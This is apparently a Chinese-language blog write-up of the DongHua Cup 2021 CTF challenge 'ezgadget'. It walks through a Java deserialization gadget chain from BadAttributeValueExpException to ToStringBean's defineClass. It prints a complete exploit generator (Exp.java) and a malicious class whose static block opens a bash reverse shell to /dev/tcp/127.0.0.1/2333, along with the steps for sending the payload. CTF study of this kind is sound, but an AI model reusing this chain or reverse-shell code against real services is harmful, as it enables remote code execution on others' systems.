[东华杯2021] ezgadget

白日梦组长讲解视频:https://www.bilibili.com/video/BV1qb4y187FA/?vd_source=525a280615063349bad5e187f6bfeec3

复现环境搭建

题目的jar包(视频评论区组长有发):

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw
提取码:8do5

然后在终端输入命令运行:

1
java -jar ezgadget.jar

image-20260206181856331

我这样在kali的,因为后面反弹shell方便点,然后访问127.0.0.1:8888

image-20260206153703163

主机的话看一下虚拟机的IP:

1
ifconfig

image-20260206182034630

image-20260206182105984

分析

先把jar包导到IDEA里:https://yschen20.github.io/2025/12/14/%E5%9C%A8IDEA%E4%BD%BF%E7%94%A8CTF%E4%B8%ADJava%E9%A2%98%E7%9A%84jar%E5%8C%85/

image-20260206155439920

然后每个类都看一下

  • 先是User类:

image-20260206160406632

就是个用户类,实现了Serializable接口,有俩private属性UserNamePassword,并且还重写了toString()方法

  • 然后是IndexController

image-20260206160732639

有个/readobject路由,可以接收一个参数data(GET、POST都行),然后对传入的字符串进行base64解码,然后会从解码后的数据中读取一个UTF-8的字符串name和一个4字节的整数year,如果满足name="gadgets"year=2021,就会进行反序列化的操作

  • 然后是Tools

image-20260206161426782

这是一个工具类,里面定义了base64编码和解码的方法,还有序列化和反序列化的方法

  • 最后是ToStringBean

image-20260206161532883

这个类继承了ClassLoader类和Serializable接口,有一个私有属性ClassByte,还重写了toString()方法,然后就会从ClassByte字节码中动态加载类

所以很明显就是要利用ToStringBean.toString()里的ToStringBean.defineClass()动态加载恶意类,从而实现任意代码执行,入口就是IndexController里的/readobject路由,只要满足name.equals("gadgets") && year == 2021这个条件就能调用到readObject

然后就是要找readobject()toString()之间的链子,在CC5的开始是有这样的:

image-20260206181246231

CC5链中是去调用TiedMapEntry.toString()的,这里就可以用BadAttributeValueExpException.readObject()去调ToStringBean.toString()

去看一下BadAttributeValueExpException.readObject()

image-20260206182948555

这里反射修改一下val属性就行

链子思路差不多就这些了

逻辑图

所以攻击链的就是下面这样,最后去动态加载恶意类

image-20260206181609798

构造EXP

先准备要加载的恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Test {
static {
try {
String[] command = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/2333 0>&1"};
Runtime.getRuntime().exec(command);
} catch (IOException e){
e.printStackTrace();
}
}
}

编译

1
javac Test.java

image-20260206182318521

放到我的测试目录下:

image-20260206182349769

然后去写EXP了

先把最后加载动态类的部分写好,再看一下ToStringBean.java

image-20260206182539719

这里是去加载私有的ClassByte,所以这里用反射来修改

1
2
3
4
5
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:/tmp/Test.class"));
classByteField.set(toStringBean, bytes);

然后是前面的BadAttributeValueExpException.readObject()部分,利用反射修改val属性

1
2
3
4
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);

还有就是想走到readObject前要满足的条件:

image-20260206183339704

可以往上看一下,是用objectInputStream.readUTF()objectInputStream.readInt()来获取nameyear的,然后用的objectInputStream.readObject()

所以就用objectOutputStream.writeUTFobjectOutputStream.writeInt写入,这里要注意写的顺序要和源码里的一样,最后提取已经序列化好的数据,这部分代码也就相当于完成了序列化的操作了

1
2
3
4
5
6
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();

最后调用一下Tools工具类里的base64Encode()方法进行base64编码一下就行了

1
2
String payload = Tools.base64Encode(bytes1);
System.out.println(payload);

image-20260206190802636

去试一下payload,先在kali里监听2333端口

image-20260206191025574

然后在/readobject路由用 POST 请求方式传参data

image-20260206191114436

这里一定要进行URL编码一次,选择要编码的部分,然后 Ctrl + U 即可

image-20260206191215042

这样就是弹成功了,原本是在桌面的,现在编程了题目目录下

完整EXP

Exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp{
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:/tmp/Test.class"));
classByteField.set(toStringBean, bytes);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();

String payload = Tools.base64Encode(bytes1);
System.out.println(payload);
}
}

恶意类Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Test {
static {
try {
String[] command = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/2333 0>&1"};
Runtime.getRuntime().exec(command);
} catch (IOException e){
e.printStackTrace();
}
}
}


[东华杯2021] ezgadget
https://yschen20.github.io/2026/02/06/东华杯2021-ezgadget/
作者
Suzen
发布于
2026年2月6日
更新于
2026年2月6日
许可协议